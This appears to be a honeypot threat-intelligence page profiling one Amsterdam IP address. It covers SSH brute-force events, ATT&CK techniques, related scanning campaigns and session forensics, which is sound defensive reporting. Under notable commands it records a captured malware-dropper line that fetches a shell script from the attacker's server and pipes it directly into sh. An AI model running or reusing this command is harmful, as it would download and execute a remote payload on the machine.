IntrusionLabs IntrusionLabs
← Back to feed

94.154.43.46

TAGGED MALICIOUS how we decide →
Threat Confidence
52%
Location
🇳🇱 NL / Amsterdam
ASN
AS219502 · Storm Industries LLC
Cloud Provider
—
Total Events
31
Average by volume
Agent Count
2
First / Last Seen
2026-07-20 21:17 — 2026-07-20 21:32
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Subnet 94.154.43.0/24 SUBNET Active high 🇳🇱 NL
7 IPs 4237 events
http:scanssh:bruteforce
2026-06-30 — ongoing · 7 IPs from the same /24 subnet (94.154.43.0/24) were observed attacking our sensors within the same time window. …
Multi-Agent Scan SCAN Active medium
54 IPs 106493 events
2026-04-24 — ongoing · 54 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
53 IPs 22865 events
2026-04-24 — ongoing · 53 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
67 IPs 118459 events
2026-04-01 — ongoing · 67 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
137 IPs 245787 events
2026-03-16 — ongoing · 137 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
46 IPs 28040 events
2026-03-13 — ongoing · 46 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
94 IPs 131477 events
2026-03-03 — ongoing · 94 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
57 IPs 99246 events
2026-03-02 — ongoing · 57 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
86 IPs 155938 events
2026-03-02 — ongoing · 86 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
92 IPs 209731 events
2026-03-02 — ongoing · 92 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
13 IPs 27046 events
2026-02-23 — ongoing · 13 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
21 IPs 1588 events
2026-02-22 — ongoing · 21 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
malware_dropper ×2 credential_probe ×2
Sessions
4 (2 with login)
Avg Depth Score
0.6
Commands Executed
2
Files Downloaded
2
Notable Commands
  • wget -qO- http://94.154.43.46/static/js/microk.sh | sh
Download URLs
  • http://94.154.43.46/static/js/microk.sh
Fingerprints
HASSH
16443846184eafde36765c9bab2f4397
SSH Client
SSH-2.0-Go
Evidence Timeline
Malware Dropper c577e8315c1e newark_01 · 2026-07-20 21:32
1 1 1 100%
Loading events...
Credential Probe 79b53cb04b4f newark_01 · 2026-07-20 21:32
1 20%
Loading events...
Malware Dropper fbc67ec60720 w4m_seattle_01 · 2026-07-20 21:17
1 1 1 100%
Loading events...
Credential Probe 80f26bbf916d w4m_seattle_01 · 2026-07-20 21:17
1 20%
Loading events...
{# Cloudflare Web Analytics — cookieless, public pages only. The context processor withholds the token from authenticated requests. #}